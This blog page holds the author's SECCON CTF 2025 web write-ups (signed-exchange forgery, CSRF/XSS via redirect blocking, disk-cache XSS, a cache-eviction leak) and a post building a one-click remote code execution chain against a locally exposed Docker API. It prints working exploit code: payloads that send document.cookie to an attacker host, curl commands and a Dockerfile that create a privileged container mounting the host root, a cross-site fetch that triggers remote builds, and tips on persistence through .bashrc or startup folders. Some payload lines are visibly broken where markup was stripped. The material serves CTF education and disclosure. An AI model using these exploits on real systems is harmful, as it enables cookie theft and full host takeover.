m0z

SECCON CTF 2025 Writeups (Web)

2025-12-19T00:00:00+00:00

I played SECCON this year with mörger which, as the name might suggest, was a merger between my team AresX and Zer0RocketWrecks.

I think the authors this year found a very good balance in creating challenges which were conceptually easy to understand but difficult to solve. The best challenges are always those with very little source code/noise but incredibly clever solutions.

Thanks to satoooon, RyotaK and Ark for putting together the web challenges. In the end, we only managed to solve half of the challenges but I will include a writeup for all of them because they were all really interesting!

web/broken-challenge

Initial Observations

Starting off, we open up the archive and can immediately see we have a directory for a “bot”. Opening up the source we can see where the flag gets stored:

await context.setCookie({
      name: "FLAG",
      value: flag.value,
      domain: "hack.the.planet.seccon",
      path: "/",
    });

I think this is a good example of why it’s important (even when it may be obvious) to check where and how the flag is stored. Above we can see pretty quickly that the flag is set to hack.the.planet.seccon which is clearly not going to match the domain the web app is hosted… Speaking of which, where the hell is the web app?!

Web App

There is no accompanying web application with this challenge. After discovering this, I turned my attention back towards the bot source code. That’s where I saw something interesting.

app.get("/hint", (req, res) => {
  res.render("hint", {
    hint: fs.readFileSync("./cert.key"),
  });
});

The hint endpoint gives us the value of the cert.key file! I opened this on the remote but was disappointed to be greeted with “nope”. The file only gets passed into the template as a variable.


 data-theme="light">
  
    </span>Hint<span class="nt">
  
  
    nope
     style="opacity: 0;"><%= hint %>

But it does get rendered; just hidden. Inspecting the response we can recover the key:

Okay so we have this “private key” but what exactly is this? The source code also gives us the public key.

Looking at the Dockerfile we can see a reference to the certificate appearing.

RUN mkdir -p /home/pptruser/.pki/nssdb \

    && certutil -A -d "sql:/home/pptruser/.pki/nssdb" -n "seccon" -t "CT,c,c" -i ./cert.crt

The path now becomes clear. The bot imports our certificate into its NSS database, effectively trusting it as a root certificate authority for SSL/TLS connections. This is the same mechanism used when installing tools like Burp Suite for intercepting HTTPS traffic.

Signed Exchanges (SXG)

This is a rather interesting technology. It enables a web server to serve content from any origin by packaging a full HTTP response into a single file and cryptographically signing it using the origin server’s private key.

There may be some confusion here because we do not have the private key for hack.the.planet.seccon but rather we have the private key for a trusted root CA. This means we can sign a certificate that is valid for hack.the.planet.seccon and then use that certificate to create a signed exchange for whatever response we want. The only issue left now is implementation details.

Online Certificate Status Protocol (OCSP)

As previously alluded to, SXG enables us to host content for a specific origin on any origin we want. So, how does the browser implement this to ensure integrity?

The solution lies in OCSP. Once the browser parses the SXG response, it will retrieve the target URL which the resource is claiming to be from. It then reads the accompanying certificate URL.

The certificate URL must be served over HTTPS and provide a CBOR-encoded certificate chain that authorizes a specific certificate (key) to sign SXGs for the claimed origin.

Implementation

Okay now it’s time to put this all together and solve the challenge.

We’ll begin with the two files we already recovered above, namely the cert.crt and cert.key files.

openssl ecparam -genkey -name prime256v1 -out new.key

Firstly, we must generate a new private key as displayed above. This is the key we will later use to sign the malicious SXG.

[req]
prompt = no
distinguished_name = dn
req_extensions = v3_req

[dn]
CN = hack.the.planet.seccon

[v3_req]
basicConstraints = CA:FALSE
keyUsage = digitalSignature
subjectAltName = DNS:hack.the.planet.seccon,IP:
1.3.6.1.4.1.11129.2.1.22 = ASN1:NULL

We save the above as our leaf.cnf file for later use. Make sure to replace with the IP address of the server you plan to use. The OID portion of the above configuration grants the certificate access to the CanSignHttpExchanges extension which is a requirement for browsers to load SXG files.

openssl req -new -key new.key -out leaf.csr -config leaf.cnf

Above we generate a Certificate Signing Request (CSR) using the new private key we created and the configuration for the certificate.

openssl x509 -req -in leaf.csr -CA cert.crt -CAkey cert.key -CAcreateserial -out leaf.crt -days 90 -extensions v3_req -extfile leaf.cnf -sha256

Next we use the CSR to generate the certificate, signing it with the original cert.crt and cert.key files obtained at the beginning.

Typically we would rely on an OCSP server to actually carry out the next stage, but for simplicity we can just manually handle it.

SERIAL=$(openssl x509 -in leaf.crt -serial -noout | cut -d= -f2)
printf "V\t251231235959Z\t\t%s\tunknown\t/CN=$TARGET_DOMAIN\n" "${SERIAL}" > index.txt

This will store the data needed to mint a valid OCSP response for this certificate in the index.txt file.

openssl ocsp -issuer cert.crt -cert leaf.crt -reqout leaf.req

Above we have generated the OCSP request and stored it into the leaf.req file.

openssl ocsp -index index.txt \
-rsigner cert.crt -rkey cert.key \
-CA cert.crt \
-reqin leaf.req \
-respout leaf.ocsp \
-ndays 7 \
-noverify

Finally we generate the OCSP data and store it into the leaf.ocsp file.

cat leaf.crt cert.crt > fullchain.pem

We create the full chain for the leaf certificate and the trusted certificate. We will use this to create the final CBOR file.

gen-certurl -pem fullchain.pem -ocsp leaf.ocsp > cert.cbor

You will need to install gen-certurl from go/signedexchange before running the above command. You will also need gen-signedexchange from the same place.

Next, we will host our XSS payload.

Naturally, you should replace webhook_url with your own.

gen-signedexchange \
  -uri https://hack.the.planet.seccon/ \
  -content exploit.html \
  -certificate leaf.crt \
  -privateKey new.key \
  -certUrl https:///cert.cbor \
  -validityUrl https://hack.the.planet.seccon/resource.validity.msg \
  -o exploit.sxg

The final step is to generate the SXG file. Replacing with your own host.

For simplicity, I decided to host the CBOR and SXG on the same application. The CBOR must be served over HTTPS and so we need to serve them over a basic HTTPS server.

:443 {
        tls ./leaf.crt ./new.key

        @sxg path /exploit.sxg
        handle @sxg {
                header Content-Type "application/signed-exchange;v=b3"
                header X-Content-Type-Options "nosniff"
                file_server
        }

        @cbor path /cert.cbor
        handle @cbor {
                header Content-Type "application/cert-chain+cbor"
                file_server
        }
}

We can save the above Caddyfile to serve this purpose. The strict Content-Type and X-Content-Type-Options response headers are a requirement for SXG to work.

sudo caddy run --config ./Caddyfile --adapter caddyfile

After running this and passing in https:///exploit.sxg to the admin bot, we get a callback to our webhook containing the flag!

SECCON{congratz_you_hacked_the_planet_521ce0597cdcd1e3}

web/dummyhole

Initial Observations

Opening up the challenge we can see two directories; bot and web which should be pretty self explanatory.

Investigating bot.js we see that the FLAG is stored on the bot’s cookie.

await context.setCookie({
      name: 'FLAG',
      value: FLAG,
      domain: APP_HOSTNAME,
      path: '/',
    });

The bot accepts a id for a post and then visits it as seen below.

await page.goto(`${APP_URL}/posts/?id=${encodeURIComponent(id)}`, { timeout: 10_000 });

Typically with XSS challenges 10 seconds would be a little bit too much time. Authors usually optimize this to save resources. We will see later on why it is a little higher than usual.

Finding the XSS sink

Looking at the logout.html we see the first suspected XSS sink.

We have a definition for a function to execute after 5 seconds. This function reads a and URL decodes it. If it is not defined, it will redirect to / but otherwise it will redirect to our fallbackUrl as defined. So where does this come from?

app.post('/logout', requireAuth, (req, res) => {
  const sessionId = req.cookies.session;
  sessions.delete(sessionId);
  res.clearCookie('session');

  const post_id = req.body.post_id?.length <= 128 ? req.body.post_id : '';
  const fallback_url = req.body.fallback_url?.length <= 128 ? req.body.fallback_url : '';

  const logoutPage = path.join(__dirname, 'public', 'logout.html');
  const logoutPageContent = fs.readFileSync(logoutPage, 'utf-8')
    .replace('', encodeURIComponent(post_id))
    .replace('', encodeURIComponent(fallback_url));
    
  res.send(logoutPageContent);
});

As seen above, the fallback_url is defined from req.body.fallback_url provided the URL is less than 128 characters in length. This means it is read from the body of a POST request. If we can control this value, then we can abuse javascript URI scheme to get XSS.

Since this endpoint has no CSRF protections, something like the payload below should work.

 action="http://web:80/logout" method="POST">
 name="fallback_url" value="javascript:alert()">
 type="submit" id="btn">

Stopping Redirects

If you had a keen eye, you might have noticed already that the redirect happens 5 seconds after we visit the page. Unfortunately, another redirect happens prior to this.

const postId = decodeURIComponent("");
location.href = postId ? `/posts/?id=${postId}` : "/";

This is a redirect to which we again have control over. This time though we only inject into a GET parameter and so we can’t initiate the javascript URI for XSS. Even if left undefined, this redirect will still take place and our XSS through will never execute.

The challenge here should be pretty clear; we want to stop the redirect from happening so it hits our fallback URL instead. So, how can we do that? There’s actually a few ways. One such way is to flood the connection pool.

Connection Pool Flooding

Connection pools are the dark arts of client side exploitation. Incredibly useful and very mysterious! The idea here is that a redirect requires sending a request to a remote origin (which uses a socket) whereas javascript URI does not. As such, if we can exhaust the connection pool, we could prevent the request from taking place!

 action="http://localhost:80/logout" method="POST" target="_BLANK">
 name="fallback_url" value="javascript:alert()">
 name="post_id" value="1">
 type="submit" id="btn">

The idea above is pretty simple. We modify our exploit payload to open /flood.html in a new window. We also modified the form to get target="_BLANK" which isn’t really needed but was handy for testing the connection pools.

Here we wait 2 seconds before submitting the form, which gives our new window a chance to load and exhaust the sockets.

The contents of flood.html simply send a request to yourserver.com where you should be hosting an endpoint which sleeps for 6000ms. I tried a few different values and eventually this seemed to hit the sweet spot. We want to keep it under 10 seconds so there is time for the rest of the payload, as the bot only visits for that length of time.

This works but there is actually a simpler solution which avoids connection pools and when you have an opportunity to avoid messing with connection pools, TAKE IT! 😂

Dangling Markup Protection

Chromium contains a protection against dangling markup attacks; if it detects a client-side redirect with < and either \n, \r or \t in the same URL then the browser will block the request.

 action="http://localhost:80/logout" method="POST">
 name="fallback_url" value="javascript:alert()">
 name="post_id" id="inject" value="">
 type="submit" id="btn">

As you can see above, we use javascript to populate the post_id parameter with a tab followed by the opening angle bracket. This triggers the protection and the redirect is killed.

CSPT -> Redirect

So, we have our XSS working; provided the bot visits our URL. Unfortunately, we can only give the bot a post ID. Looking at the javascript on the posts page, we see something interesting.

const postId = params.get('id');
...
const postData = await import(`/api/posts/${postId}`, { with: { type: "json" } });
...
const imageUrl = `${location.origin}${postData.default.image_url}`;
document.getElementById('imageFrame').src = imageUrl;

The id which is provided will control where posts get imported from. There is a pretty clear Client-Side Path Traversal vulnerability here. This means we can prepend our postId with ../../ and then control the exact path it reads the JSON from.

If we can control this JSON, then we can control the postData.default.image_url portion of imageURL which gives us full control over the website loaded. location.origin is just the domain name which would be example.com so if we append ourwebsite.com then this would become example.com.ourwebsite.com which we control!

Note that we can’t use @outwebsite.com here because subresource requests cannot contain embedded credentials.

So, how do we host our own JSON?

Uploading JSON

When looking for a way to host our own JSON on the application, we first obviously check the file upload functionality.

app.post('/upload', checkOrigin, requireAuth, uploadLimiter, upload.single('image'), async (req, res) => {
  try {
    const { title, description } = req.body;
    const file = req.file;

    if (!file || !title) {
      return res.status(400).json({ error: 'Image and title required' });
    }

    if (!file.mimetype || (!file.mimetype.startsWith('image/png') && !file.mimetype.startsWith('image/jpeg'))) {
      return res.status(400).json({ error: 'Invalid file: must be png or jpeg' });
    }

    const postId = uuidv4();

    const command = new PutObjectCommand({
      Bucket: BUCKET,
      Key: postId,
      Body: file.buffer,
      ContentType: file.mimetype,
    });

    await s3Client.send(command);

    posts.set(postId, {
      title,
      description: description || '',
      image_url: `/images/${postId}`,
      author: req.user,
    });

    res.json({ success: true, id: postId });
  } catch (error) {
    console.error('Upload error:', error);
    res.status(500).json({ error: 'Upload failed' });
  }
});

What is worth noting here is that the only check is against the mimetype. Aside from this, we can host whatever we want. However, strict mime checking is enforced for module scripts

app.get('/images/:id', async (req, res) => {
  try {
    const id = req.params.id;

    const command = new GetObjectCommand({
      Bucket: BUCKET,
      Key: id,
    });

    const response = await s3Client.send(command);

    res.setHeader('Content-Type', response.ContentType || 'application/octet-stream');
    res.setHeader('Content-Security-Policy', "default-src 'none'; form-action 'none';");

    const stream = response.Body;
    stream.pipe(res);
  } catch (error) {
    console.error('Image fetch error:', error);
    res.status(404).json({ error: 'Image not found' });
  }
});

As you can see, the content type is being saved and when we visit the /images/:id endpoint we get the same content type returned as the one specified in the mime type when uploading. So, what is a valid mimetype?

A JSON MIME type is any MIME type whose subtype ends in “+json” or whose essence is “application/json” or “text/json”.

So we can upload a file with mimetype set to image/png+json and this will work!

POST /upload HTTP/1.1
Host: localhost
Content-Length: 474
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarynZuTFBeWRsBukMgO
Cookie: session=
Connection: keep-alive

------WebKitFormBoundarynZuTFBeWRsBukMgO
Content-Disposition: form-data; name="title"

test
------WebKitFormBoundarynZuTFBeWRsBukMgO
Content-Disposition: form-data; name="description"

test
------WebKitFormBoundarynZuTFBeWRsBukMgO
Content-Disposition: form-data; name="image"; filename="image.png"
Content-Type: image/png+json

{
    "title": "test",
    "description": "test",
    "image_url": ".ourwebsite.com"
}
------WebKitFormBoundarynZuTFBeWRsBukMgO--

This will return a uuid for the image. When we now visit /posts/?id=../../images/ we will load .ourwebsite.com inside of a credentialless iframe

Credentialless iframes

Visiting the CSRF payload inside of the credentialless iframe unfortunately won’t execute it. Thankfully, there’s a rather easy bypass here. We just call window.open("/csrf.html") and it will run inside of a new window with credentials.

Tying it all together

We begin by registering an account and logging in. Then we upload an image with mimetype image/png+json with our payload.

{
    "title": "test",
    "description": "test",
    "image_url": ".ourwebsite.com"
}

Then we visit the bot page and send it to ../../images/ to retrieve the flag.

Our index page simply opens exploit.html in a new window.

 action="http://web:80/logout" method="POST">
 name="fallback_url" value="javascript:fetch(`http:///${btoa(document.cookie)}`)">
 name="post_id" id="inject" value="">
 type="submit" id="btn">

Our exploit.html contains the full CSRF exploit with the redirect stopping logic.

SECCON{why_c4nt_we_eat_the_d0nut_h0le}

web/framed-xss

Initial Observations

Opening up the source code we see a directory for bot and web applications. Looking at the bot, we can see that the flag is stored in a cookie.

await context.setCookie({
      name: "FLAG",
      value: flag.value,
      domain: challenge.appUrl.hostname,
      path: "/",
    });

We provide an arbitrary url to the bot and it will visit. It seems like we need to find an XSS.

Finding the XSS sink

The main page has the following javascript. This send a fetch to /view and stores the response into the srcdoc of a new iframe element. The iframe element has a sandbox which prevents any scripts from executing.

const html = await fetch("/view" + location.search, {
      headers: { "From-Fetch": "1" },
    }).then((r) => r.text());
    if (html) {
      document.forms[0].html.value = html;
      const iframe = document.createElement("iframe");
      iframe.setAttribute("sandbox", "");
      iframe.srcdoc = html;
      document.body.append(iframe);
    }

The From-Fetch header is defined here, which is needed to interact with the endpoint.

@app.get("/view")
def view():
    if not request.headers.get("From-Fetch", ""):
        return "Use fetch", 400
    return request.args.get("html", "")

If the header is defined, then we have a free XSS sink.

Triggering the XSS

Playing around with this, I noticed the following flow.

Visit /view?html=
Visit /?html=
history.back()

So why does this happen? Well it’s because of browser cache! When we visit /?html= it send a fetch to /view?html= which resulted in the response getting cached in our browser. Then when we navigated back in the history, it fetched this entry from cache and loaded it! So we can trigger the XSS without having to pass the header.

Now we just have to automate this exploit to target the bot which is where the real challenge surfaces.

Disk Cache

To understand how we can automate this, we first have to understand the underlying mechanism and why the above procedure results in XSS. This challenge uses Chromium and so I will be explaining how this works with Chromium internals so keep in mind that this might differ for other browsers.

When visiting websites we often encounter the same files on multiple pages. It could be a website logo or some javascript library they load from the same CDN; content is repeated a lot. Naturally there is huge benefit to be had from implemented a caching mechanism. In browsers this is known as disk cache.

Due to concerns around XS Leaks and whatnot, there must be isolation between cached resources across origins. We don’t want a cross-origin website to be able to detect if a certain resource is cached or not as that could provide some oracle for leaking information about a user’s session on another application.

To address this, Chromium introduced a split HTTP disk cache. When split cache is enabled, cache entries are “double-keyed” by prefixing the URL with _dk_ followed by a serialized Network Isolation Key (derived from the top-frame site and frame site), optionally additional navigation prefixes, and then the resource URL.

If our top-level frame is example.com and it is framing youtube.com then a resource for https://youtube.com/favicon.ico cached from youtube.com will have a key that looks something like: _dk_https://example.com https://youtube.com https://youtube.com/favicon.ico

This is slightly inaccurate but it gets across the general idea.

The mark of cn_

if (initiator.has_value() && is_mainframe_navigation) {
	const bool is_initiator_cross_site = !net::SchemefulSite::IsSameSite(*initiator, url::Origin::Create(url));
	if (is_initiator_cross_site) {
		is_cross_site_main_frame_navigation_prefix = kCrossSiteMainFrameNavigationPrefix;
	}
}

The above piece of code shows us the requirements for the cn_ prefix to be added. If this were added it would appear after _dk_ above giving us a prefix that looks like _dk_cn_ when all of the following conditions are satisfied.

Initiator is defined
Request is a mainframe navigation
The initiator is cross-site

The cn_ prefix partitions the HTTP disk cache so that responses obtained through cross-site main-frame navigations are stored separately from same-site and non-navigation requests, reducing the risk of cross-site disk cache poisoning.

Initiator null

You might notice the first requirement is for the initiator to be defined. An initiator is null whenever we begin a fresh navigation such as typing a URL into an address bar.

As we browse the web clicking on links and getting client-side redirects our initiator keeps changing to the previous page which initiated the navigation. One important caveat here is that 3XX redirects do NOT modify the value of the initiator. What this means is that if I type a URL into my address bar and it redirects me to another website my initiator is still null.

When we run history.back() our browser must also recover the initiator. If we first navigate to google.com we will have a null initiator. If we then visit youtube.com our initiator will be set as google.com but if press the back button in the browser it will return us to google.com with the initiator set back to the null value.

Let’s now explain this in the context of the challenge. We originally visited /view?html= which stored a disk cache entry for our navigation. Because this was a fresh, browser-initiated main-frame navigation, the initiator was null, and the cache entry was therefore created without the cn_ prefix. Afterwards, we visited /?html= which fetched /view?html= and as this is not a mainframe navigation it also didn’t use the cn_ prefix and so it updated the previous cache entry with the payload. When we ran history.back() we recovered the null initiator and thus loaded the resource containing the payload.

Exploiting

Now that we understand the internals of how the caching mechanism works; it’s time to come up with a plan to exploit this!

We must accomplish two things for this to work:

Get the bot to visit /?html= to populate the cache
Visit /view?html= with initiator set to `null

The solution to this is the following sequence of events:

Visit our website (initiator will be null)
Do a window.open() to /?html= to populate cache
Redirect top-level to another page storing initiator null in history
Trigger a history.back() to recover the null initiator
This time serve a redirect to /view?html=

We’ll need to serve a Cache-Control: no-store so our call to history.back() serves the redirect and not disk cache or bfcache.

from flask import Flask, request, redirect

app = Flask(__name__)

counter = 1
PAYLOAD = "/${btoa(document.cookie)}`)>"
TARGET = f"http://localhost:3000"


@app.after_request
def add_no_cache_headers(response):
    response.headers["Cache-Control"] = "no-cache, no-store, must-revalidate"
    response.headers["Pragma"] = "no-cache"
    response.headers["Expires"] = "0"
    return response



@app.get("/")
def index():
    global counter
    counter += 1
    
    if counter % 2 == 0:
        return f"""
        
        """.strip()
    else:
        return redirect(f"{TARGET}/view?html={PAYLOAD}")


@app.get("/back")
def back():
    return """
    
    """


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=3000)

Above is my solution script. One interesting observation was having to replace the window.open call to use PAYLOAD.replace('`', '%60').replace('{', '%7B').replace('}', '%7D').replace('<', '%3C').replace('>', '%3E') which was necessary because the top-level navigation URL encoded these but the request to fetch() did not. This resulted in a mismatched cache key and so to trigger the vulnerability it was necessary to URL encode these values to match.

SECCON{New_fe4tur3,n3w_bypa55}

web/impossible-leak

Initial Observations

Opening up the challenge source we see two directories; web and bot again.

const page1 = await context.newPage();
await page1.goto(challenge.appUrl, { timeout: 3_000 });
await page1.waitForSelector("#create");
await page1.type("#create input[name=note]", flag.value);
await page1.click("#create input[type=submit]");
await sleep(1_000);
await page1.close();
await sleep(1_000);

// Visit the given URL
const page2 = await context.newPage();
await page2.goto(url, { timeout: 3_000 });
await sleep(60_000);
await page2.close();

This time the bot performs a few actions. It will visit the challenge URL and create a note. Then it will close the page and open a new page where it visits a url provided by the attacker. Then it will sleep for 60 seconds. 60 seconds is far too long for typical XSS attacks so it’s a strong hint towards XS-Leaks.

import express from "express";
import session from "express-session";
import crypto from "node:crypto";

const db = new Map();
const getNotes = (id) => {
  if (!db.has(id)) db.set(id, []);
  return db.get(id);
};

const app = express()
  .set("view engine", "ejs")
  .use(express.urlencoded())
  .use(
    session({
      secret: crypto.randomBytes(16).toString("base64"),
      resave: false,
      saveUninitialized: true,
    })
  );

app.get("/", (req, res) => {
  const { query = "" } = req.query;
  const notes = getNotes(req.session.id).filter((note) => note.includes(query));
  res.render("index", { notes });
});

app.post("/new", (req, res) => {
  const note = String(req.body.note).slice(0, 1024);
  getNotes(req.session.id).push(note);
  res.redirect("/");
});

app.listen(3000);

The full source code is really small. We can create a note by sending a POST request to /new where is gets stored in db which is a Map type. Subsequently we can visit the index page at / which takes an optional query GET parameter. This parameter filters the notes returned to only pass those which contain the query string.

  
    Notes
     id="create" action="/new" method="post">
      
         type="text" name="note" required />
         type="submit" value="Create" />
      
      <% notes.forEach(note => {%>
        <%= note %>

      <% }); %>
    
     action="/" method="get">
      
         type="text" name="query" />
         type="submit" value="Search" />

The above template is how the notes get rendered. For each note returned from the lookup we will create a

element containing the note text. This will display the notes as bullet points on the page.

Page Length Oracle

One of the most obvious ways to detect a successful lookup would be the response size. It will be slightly larger for successful lookups which contain the note content. I counted 442 bytes for an unsuccessful lookup compared to 467 + flag.length bytes for a successful response.

The size difference is relatively small but given the known flag format (SECCON{}) we can deduce there is at worst 475 bytes which is a total offset of 33. Could this be detected cross-origin?

Disk Cache Oracle

One such idea is to detect disk cache evictions. We can visit /?query=SECCON{a hundreds of times passing in an extra GET parameter (&t={i}) each time. If we do this 1000 times we will get a minimum of OFFSET*1000 bytes added into the disk cache.

That would be 33KB of extra disk cache data loaded. If we then subsequently cached some very large pages elsewhere; Chromium will surely at some point have to evict the cache. A naive approach would be to just evict the oldest cache stored. If this were to be the case then we could potentially use this as an oracle to detect a successful search. If we leave just enough room for 1000 unsuccessful page caches (442KB) but not enough for (467+flag.length)KB then the cache evictions will only take place if the character was successful.

This is a simplistic explanation. In reality, caches are much bigger than the response size as they also include headers and metadata such as cache keys.

It turns out there exists two types of caches; DISK_CACHE and MEMORY_CACHE in Chromium. The former is typically larger and is most commonly used. The latter only gets used in incognito mode. Interestingly enough, the bot in this challenge appears to use MEMORY_CACHE which is the smaller in-memory buffer.

const int kDefaultCacheSize = 80 * 1024 * 1024;  // 80 MB

As seen above the default cache baseline is 80MB and this is what gets used by the MEMORY_CACHE buffer.

if (type == net::DISK_CACHE) {
#if !BUILDFLAG(IS_WIN)
  percent_relative_size = 400;
#endif
}

If the type is DISK_CACHE then the baseline memory is increase by 400% and becomes 320MB.

Check the above block of code again. You’ll notice that this increase specifically doesn’t apply to Windows devices. This means they have a consistent baseline cache of 80MB across all browser sessions regardless of cache type.

The term baseline as used above is important. Things are never simple when browsers are involved and Chromium’s disk cache algorithm is no different. It uses a heuristic approach to scale up the disk cache based on availability of resources.

What is useful for us though is that the MEMORY_CACHE being used in this challenge won’t apply the heuristics step. Essentially this means we have a fixed-sized buffer of 80MB. Once this amount of memory is used we will begin evicting entries.

The eviction algorithm used for both caches is much the same. The least recently used cache entry is typically the first entry available for eviction. Caches will be evicted until the number of bytes used is less than the total cache size.

Solving

const express = require("express");
const app = express();

app.use(express.json());

app.get("/gg", (req, res) => {
        res.send(`A`.repeat((1*1024*1024)))
});
app.get("/rr", (req, res) => {
        res.send(`A`.repeat((1024) + 128))
});
app.get("/vaaa", (req, res) => {
        console.log(req.query)
        res.send(`A`.repeat(1024))
});
app.get("/", (req, res) => {
        if(!req.query.prefix || !req.query.check) return res.send('no')
        console.log('bot')
        res.send(`

`)
});
app.listen(5000)

SECCON{lumiose_city}

Developing a Docker 1-Click RCE chain for fun

2025-01-27T00:00:00+00:00

Preface

I’d like to preface this post by highlighting that this chain requires users to enable a specific setting in their Docker settings. Default installations are secure but if you are a regular Docker user then please make sure that you have this option disabled as otherwise you are vulnerable to RCE.

Docker

When developing CTF challenges I often make use of Docker for its simple deployments and security guarantees. It was during some recent CTF-related endeavours that I happened upon the following configuration option for Docker which caught my eye.

The configuration option is pretty simple; it will expose the “Docker API” on port 2375. Docker’s official website provides a description of this API.

The Docker Engine API is a RESTful API accessed by an HTTP client such as wget or curl, or the HTTP library which is part of most modern programming languages.

At the current time of writing the latest version is 1.47 and its endpoints are documented here.

This poses the question; why the strict warning? Of course having access to this API allows you to create containers and execute code. The daemon also makes it possible to escalate your priveleges to the host machine. There have been many cases of attacks against exposed Docker APIs in the past but this is due to the API being made accessible to the outside world. Surely having it bound to localhost is fine?

Abusing the API

As previously mentioned; attacks against exposed Docker APIs are pretty well defined. In fact, PayloadAllTheThings has an exploit script for exactly this case here.

The aforementioned exploit script fetches all container IDs and then runs a specific command inside of them. This is good for a general proof of concept but leaves a lot unexplored. What if there’s no containers? How do we get root access in the host context? What if the network configuration doesn’t allow a callback?

Creating Containers

We can answer the first question pretty easily. The Docker API defines an endpoint to create your own containers. Using this, we can simply create our own. To escalate our privileges then we can make use of the HostConfig option on the endpoint, particularly the Binds part which allows us to create containers with read-write references to the host filesystem.

curl -X POST -H "Content-Type: application/json" -d '{"image": "alpine","Tty":true,"OpenStdin":true,"Privileged":true,"AutoRemove":true,"HostConfig":{"NetworkMode":"host","Binds":["/:/mnt"]}}' http://localhost:2375/containers/create?name=shell

To avoid mounting to WSL in Windows you can define a mount to C:/ and access the Windows filesystem

This will spawn a container which gives the full host filesystem in /mnt within the container and allows us to modify and read these files.

Starting Containers

Once a container is created, we can start it using the /containers//start endpoint.

Since we passed a ?name=shell parameter on the previous example we already defined our container name to be shell so we can use that.

curl -X POST http://localhost:2375/containers/shell/start

Executing Commands

Above we have created a container with a mount to the host filesystem. To escalate our priveleges further we want to overwrite files on the host system.

The Docker API also provides a means of executing commands in our newly created container. Namely /containers/shell/exec which accepts a Cmd POST parameter and returns an exec_id and /exec//start endpoint which allows us to run the command.

So we can use something like jq to parse the output of the first command, save it as an environment variable and use it in the second command to automate this.

exec_id=$(curl -s -X POST -H "Content-Type: application/json" -d '{"AttachStdin":false,"AttachStdout":true,"AttachStderr":true, "Tty":false, "Cmd":["mkdir", "/mnt/tmp/pwned"]}' http://localhost:2375/containers/shell/exec | jq -r .Id)
curl -X POST "http://localhost:2375/exec/$exec_id/start" -H "Content-Type: application/json" -d '{"Detach": false, "Tty": false}'

Since the command to execute is mkdir /mnt/tmp/pwned this will create a directory named pwned in our /tmp directory on the host filesystem.

Host System Shell

Since we have arbitrary write on the host system it is pretty trivial to get a shell now. The above PoC just created the folder on the home system to prove that we have write permissions.

I will avoid spending too much time explaining how this can be done but one option is to overwrite .bashrc for the root user and wait for next log in. On Windows you can write a batch script to C:/Users//AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/ which will execute on the next sign in.

Alternatively you could overwrite .so files on linux or .dll on Windows if you want to achieve an instant shell. I’ll leave this as an exercise for the reader. 😂

One-Click RCE

So at this point you should have a good idea of how we can exploit an exposed Docker API. This gave me an idea though; since this runs on localhost:2375 is there a way for us to abuse this through a browser? That is, could we find a way of exploiting a user who visits our website and has this service running on their localhost?

SOP

One of the main obstacles to this is Same-Origin Policy which prevents websites from interacting with endpoints of a different origin. There are some tricks to bypass this restriction; redirecting to a URL is usually not blocked. However, most of the important endpoints on the Docker API are POST.

Another common strategy is defining a HTML form with an action pointing to a remote resource and submitting it using javascript’s form.submit() call. This would allow us to send a single POST request (along with URL parameters) to the API. The problem is that the API seems to be strictly application/json and the forms do not support that.

So, can we find an endpoint that will allow us to do everything we need with just a POST primitive?

Image Builds

I tried a number of different endpoints until I eventually discovered /build

Interestingly, it accepts URL parameters. The most interesting here was remote which allows you to specify a remote URL for a Dockerfile and it will install and run the build. I built a HTML form on my website and tested this out to verify it works.

 action="http://localhost:2375/build?remote=https:///Dockerfile">
   id="btn" type="submit">

Visiting the above page built my remote Dockerfile into an image.

Abusing Image Builds

It turns out that image builds take place in their own short-lived container. Here, we can define what gets installed and run arbitrary commands. This gave me an idea for a sort of “inception” attack. Could we use the docker image build process to interact with the API again but this time using curl where we can set the application/json content type.

Well no… Because the build process wouldn’t have access to localhost on the host machine. Here is where I noticed another optional parameter.

Aha! We can set the networkmode to host and this will allow us to interact with localhost on the host machine by referencing host.docker.internal host. This way we can create a Dockerfile which creates a mounted container to the host, runs commands to overwrite host files and all from them simply visiting our website which submits a form. 😱

Putting it all Together

Below is my Dockerfile exploit.

FROM alpine:latest

RUN apk add --no-cache curl jq

RUN curl -X POST -H "Content-Type: application/json" -d '{"image": "alpine","Tty":true,"OpenStdin":true,"Privileged":true,"AutoRemove":true,"HostConfig":{"NetworkMode":"host","Binds":["/:/mnt"]}}' http://host.docker.internal:2375/containers/create?name=shell
RUN curl -X POST http://host.docker.internal:2375/containers/shell/start
RUN exec_id=$(curl -s -X POST -H "Content-Type: application/json" -d '{"AttachStdin":false,"AttachStdout":true,"AttachStderr":true, "Tty":false, "Cmd":["mkdir", "/mnt/tmp/pwned"]}' http://host.docker.internal:2375/containers/shell/exec | jq -r .Id) && curl -X POST "http://host.docker.internal:2375/exec/$exec_id/start" -H "Content-Type: application/json" -d '{"Detach": false, "Tty": false}'

Then all we need is a website to complete the POST to http://localhost:2375/build?remote=http:///Dockerfile&networkmode=host for it to execute. You can use the form above or simply run the follow javascript.

fetch("http://127.0.0.1:2375/build?remote=https:///Dockerfile&networkmode=host", {method: "POST", mode: "no-cors"})

Final Remarks

I think there is some more potential to expand from here. If we could build the image using GET then it’d make for a useful SSRF -> RCE gadget. This post was a bit rushed as I wanted a placeholder for my new blog so feel free to reach out to me on X (@LooseSecurity) if you think there’s more I could add to this.

I also wanted to point out that I did the responsible thing and checked with Docker Security before posting this and it is indeed an accepted risk that if you toggle this option then you are wide open to exploitation.

m0z

SECCON CTF 2025 Writeups (Web)

web/broken-challenge

Initial Observations

Web App

Signed Exchanges (SXG)

Online Certificate Status Protocol (OCSP)

Implementation

Further Reading

web/dummyhole

Initial Observations

Finding the XSS sink

Stopping Redirects

Connection Pool Flooding

Dangling Markup Protection

CSPT -> Redirect

Uploading JSON

Credentialless iframes

Tying it all together

Further Reading

web/framed-xss

Initial Observations

Finding the XSS sink

Triggering the XSS

Disk Cache

The mark of cn_

Initiator null

Exploiting

Further Reading

web/impossible-leak

Initial Observations

Notes

Page Length Oracle

Disk Cache Oracle

Solving

Further Reading

Developing a Docker 1-Click RCE chain for fun

Preface

Docker

Abusing the API

Creating Containers

Starting Containers

Executing Commands

Host System Shell

One-Click RCE

SOP

Image Builds

Abusing Image Builds

Putting it all Together

Final Remarks